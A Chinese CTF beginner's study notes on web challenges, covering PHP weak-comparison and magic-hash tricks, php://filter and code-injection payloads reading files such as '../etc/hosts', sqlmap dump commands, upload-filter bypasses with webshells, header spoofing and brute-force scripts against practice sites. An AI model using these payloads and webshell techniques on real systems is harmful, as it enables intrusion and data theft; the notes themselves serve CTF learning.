经过上次的自闭赛之后,明白了总结的重要性+实战+刷题+看书+基础
ctf中一定要学会python,不然拿到题目,知道思路,就是写不出flag,那就很是尴尬了
由于接触到的赛题太少了,这里就有点low了,望各路大佬请多指教。
ctf是一门综合的比赛
对于简单题:
终究其本质就是在 利用 web的基础知识 出题,比如说让你 利用 burpsuite 修改 访问的ip ,再比如说 让你 利用 burpsuite 抓包,再对 包的内容进行 修改操作。
这就要求 对 web 程序要熟悉 ,也就要求对 burpsuite 工具等要熟悉。
经常拿到题,就用burpsuite进行抓包处理,看一下有没有有用的信息。
常见的简单题:
一、网页右键查看源代码,寻找flag ;如果字符多的话,这个时候要快的话,就需要利用浏览器自带的 查找 功能。(一般来说,就是可能有个提示)
再者就是对客户端网页的一些代码进行修改,使得原来不能进行的操作,变得能够进行下去操作。例如:
对 button 按键的修改,使其能够点击,就是将其改为able
对 maxlength 的值进行修改,扩大长度,
cookies欺骗:利用 hackbar 或者 burp 修改 cookies
二、就是字符串比较题,这个就是要会 代码审计 和一些变换
1.比如说1 和 1e 的弱类型比较 ,再比如说 0 和 0e 的使用 (由于转换数字之后比对都是0) ,
2.还有一些 经过加密之后是一样的比如说 md5加密之后都为NULL的操作有哪些(这个百度就有),
3.再比如说 让你 代码的审计 ((https://blog.csdn.net/weixin_43342135/article/details/99875216) ) ,查找出来它的代码有哪些漏洞 ,比如说 空白字符的绕过
4.千方百计的绕过得到flag
5、url转义,啥奇怪的绕过方式
6.通过代码闭合的方式,从而实现自己的目的
7、@$_REQUEST 的意思是获得参数,不论是@$_GET还是@$_POST可以得到的参数@$_REQUEST都能得到。 所以构造hello的get参数。
8、 hello=1);show_source('flag.php');var_dump( #将show_source()这个是把flag.php的源代码读出来,var_dump()函数可以输出任何内容:输出变量的容,类型或字符串的内容,类型,长度。
9、include()函数和php://input,php://filter结合很好用,php://filter可以用与读取文件源代码 读取源代码之后base64解码用法:php://filter/convert.base64-encode/resource=文件路径(如index.php)
10、正则匹配 #(https://blog.csdn.net/weixin_43342135/article/details/99990689) 匹配的网站(https://regex101.com/)
11、php中有个超全局变量 $GLOBALS,PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。
12、php中==是只进行值的比较,不管二者的类型。当两个字符串进行==比较的时候,则比较字符串中第一个不是数字的字符之前的数字串所代表的整数值,例如”0marsguest”与”0”就是相等的。
13、=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。== 在进行比较的时候,会先将字符串类型转化成相同,再比较
14、如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行。这里明确了说如果一个数值和字符串进行比较的时候,会将字符串转换成数值
15、字符串转化成数字,由于上失败导致,转换之后就是0 (https://www.cnblogs.com/Mrsm1th/p/6745532.html)
16、序列化与反序列化 序列化就是将字符串以数组的形式输出,在使用反序列化的话,会触发wakeup函数,也就是魔术方法的漏洞
17、post传值,绕过某些限制,达到目标的要求
18、下列的字符串的MD5值都是0e开头的:(0e是科学计数法,结果为0)
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
19、由于md5函数无法处理数组,所以只要传入一个数组,md5加密之后的为NULL
20、strcmp函数漏洞,直接利用传入数组或者对象绕过 strcmp函数比较
21、sha1函数和MD5函数都有同一个漏洞,无法处理数组,一个返回false,一个返回null
22、md5函数还有一个常见的漏洞,加密之后为0e开头都是0,这也是MD5碰撞攻击
23、file_get_contents()函数,这个是都网页目录下的文件进行读取,可以考虑php伪协议,?p=php://input ,然后就是post一个想要传的内容,这个就会给p变量。
24、基于sql的约束攻击(https://www.freebuf.com/articles/web/124537.html),这个的原因就是sql数据库中限制了长度,在注册的时候,可以构造一个和用户名已经存在的很像的 admin+很多的空格+1,然后这个时候我们再去登入就可以利用admin+自己的密码登入。
三、get传值和post传值
get传值和post传值(https://blog.csdn.net/weixin_43342135/article/details/99758486)
get在url处传值,post则就要利用hackbar了
四、和编码转换和加密相结合
比如说 url 转码,再 比如说 base64 加密,再 比如说 unicode 解码
五、网页的基础知识:
robots协议:
robots.txt文件是一个文本文件,使用任何一个常见的文本编辑器,
比如Windows系统自带的Notepad,就可以创建和编辑它[1] 。
robots.txt是一个协议,而不是一个命令。
robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。
robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。
http 和 cookie 的基础
https://blog.csdn.net/cai784921129/article/details/80177753
https://blog.csdn.net/ZWE7616175/article/details/80274850
https://blog.csdn.net/u013982161/article/details/55005542
JS代码:
网站常用代码
网页备份:
有关备份文件:
开发人员会在网页的一个地方存放备份的文件和网页源代码,
如果能够绕过登入检验,找到这个地方,就可以下载文件,
并分析网页可能存在的漏洞,进而获取webshell
常见的网站目录后缀名有:(就是在原有的基础上加上后缀名)
.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html
六、写脚本对网页进行读取,提交操作(人力无法实现的时候)
读取完网页之后,返回的是字典,字典里是网站的session,例子bugku的速度更快点脚本如下:
# -*- coding: cp936 -*-
import requests
import base64
url="http://123.206.87.240:8002/web6/"
r=requests.session()
headers=r.get(url).headers#因为flag在消息头里
mid=base64.b64decode(headers['flag'])
mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的
flag = base64.b64decode(mid.split(':')[1])#获得flag:后的值
data={'margin':flag}
print (r.post(url,data).text)#post方法传上去
bugku的秋名山的老司机
import requests
from bs4 import BeautifulSoup
url = "http://123.206.87.240:8002/qiumingshan/index.php"
S=requests.session()
r=S.get(url)
r.encoding ='utf-8'
soup=BeautifulSoup(r.text,'html.parser')
num = soup.div.text
final={'value':eval(num.replace('=?;',''))}
r=S.post(url,data=final)
r.encoding = 'utf-8'
print(r.text)
七、域名解析
就是 在 访问 某个 ip 的时候,你电脑本地会把 ip 解析成一个 xxx.xxx.com(这个叫域名)
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
如何将 得到的ip解析 到想要的域名 呢,这里就有两种方法。
一个方法是在直接在本地找到C:\Windows\System32\drivers\etc下的hosts文件以记事本的形式打开,在最后一行添加ip 域名,然后直接访问域名就OK了。
二个方法是利用截包工具,直接修改host就行了,把 host 处的 ip 修改成为域名。
。
ip被禁止时 ,可利用ip伪造(https://blog.csdn.net/cavalier_anyue/article/details/78209494)
添加 `X-Forwarded-For : 127.0.0.1 ,伪装成本地访问。
如果响应中看到必须来自谷歌
于是再次增加一条Referer: https://www.google.com
.
xff:
简单地说,xff是告诉服务器当前请求者的最终ip的http请求头字段
通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ip
referer:
简单的讲,referer就是告诉服务器当前访问者是从哪个url地址跳转到自己的,跟xff一样,referer也可直接修改
.
爆破密码:
一般管理员的用户名叫做admin,密码可以用burpsuite爆破
webshell:
https://blog.csdn.net/qq_36119192/article/details/84563791
https://fly8wo.github.io/2018/08/17/%E4%B8%AD%E5%9B%BD%E8%8F%9C%E5%88%80%E4%B9%8B%E5%86%99%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E5%8F%98%E5%BD%A2/
图片隐藏木马的使用。。。。。。。。。。。
command 漏洞执行 命令:
https://www.freebuf.com/column/154670.html
https://www.cnblogs.com/xiaozi/p/7831529.html
php弱类型之“”与“=” ,php类型转化,is_numeric() 函数,%00截断(空格截断),php代码审计
git代码泄露
八、截包,发送大量的数据访问包
利用 burpsuite 进行拦截,在利用 burpsuite 发包,多次发送,也可以写脚本来实现。
先利用 burpsuite 进行拦截,再把拦截的包复制到一个文本中,然后就 利用txt文件读取,写脚本进行多次发送。脚本如下:
九、写脚本对网页传值操作
GET脚本:
import requests
url = 'http://xx:xx'
for i in range(1000):
payload = '{config(key:"NO' +str(i).zfill(3) +'")}'
back = requests.get(url +'/graphql?query='+payload ).text
if 'flag' in back:
print(back)
exit()
POST脚本:
#coding=utf-8
import requests
import time
url = 'http://47.99.127.82:8030/python/'
pay=""
s={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'}#(字典,可以是自己的text)
for i in s:
for j in s:
for k in s:
pay=""
pay=pay+i+j+k
payload={"key":pay} #(注意是字典)
print payload
back= requests.post(url,data=payload).text
if 'flag' in back:
print(back)
exit(0)
back=""
十、泄露网页的源码,进行代码的审计操作
http://120.24.86.145:8010/?s=print_r(scandir('./'));
这个是对网站进行读取目录操作
利用此漏洞查询其他文件,例如hosts
首先,扫描上级目录,payload ?s=print_r(scandir('../'));
assert有代码执行漏洞
使用fopen() 或者 readfile() 函数读取文件
?s=print_r(readfile('../etc/hosts'))
?s=print_r(fopen('../etc/hosts','r'))
典型例题:
bugku的cookies欺骗:
https://blog.csdn.net/weixin_43342135/article/details/99347782
十一、sql注入
使用burpsuite抓包,然后再sqlmap
具体方法如下:
先随便输入一个数,再burpsuite抓包,再鼠标右键,点击copy to file保存文件,随便保存到一个地方,命名为一个txt文件
然后打开sqlmap开始爆库:sqlmap.py -r “C:\333.xt” -p id –current-db
-r –> 加载一个文件
-p –>指定参数
–current-db –>获取当前数据库名称(current前有两个-)
可以看到它的数据库为 ‘skctf_flag’,接着就是爆表
sqlmap.py -r “C:\333.txt” -p id -D skctf_flag - -tables
-D –>指定数据库名称
–tables –>列出数据库中的表(tables前有两个-)
可以看到当前数据库中有两个表,很明显,flag应该在fl4g表中,下面就是该爆出表中的字段了
sqlmap.py -r “C:\333.txt” -p id -D skctf_flag -T fl4g –columns
-T –>指定表名称
–columns –>列出表中的字段
fl4g表中有一个名为skctf_flag字段,最后列出字段信息就可以啦。
sqlmap.py -r “c:\333.txt” -p id -D skctf_flag -T fl4g -C skctf_flag –dump
–dump –>列出字段数据(dump前有两个-)
还有python盲注,手工注入
https://blog.csdn.net/weixin_43342135/article/details/100088869
https://blog.csdn.net/weixin_43342135/article/details/99990565
sqlmap注入
十二、上传绕过
上传一句话木马,让后利用burpsuite修改后缀名
类型检测
1. 把请求头里面的Content-Type字母改成大写进行绕过
Content-Type: mULtipart/form-data;
。
。
黑名单绕过
.jpg后面加上.php5其他的都被过滤了好像
如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag
、
。
。
修改Content-Type: image/jpeg 改成想要的
十三、xss的攻击
十四、御剑的使用,burpsuite的使用,菜刀和蚁剑的使用,sqlmap的使用
如果利用burpsuite爆破密码,可以使用自己的字典去爆破
跑sqlmap时,可以利用自己的字典进行爆破。
菜刀和蚁剑,都是在服务器有了木马时,连接上木马,获取shell的,
还有一种方式,如果木马失败了,就可以考虑自己在url处进行构造,再进行读取的操作
御剑就是扫描网站的后台,还有其它的工具也可以使用。一般来说,做题没思路,就用御剑扫描,扫一下,会有意外之喜
十五、防止重定向:
添加view-source:+url 可观看网页的源码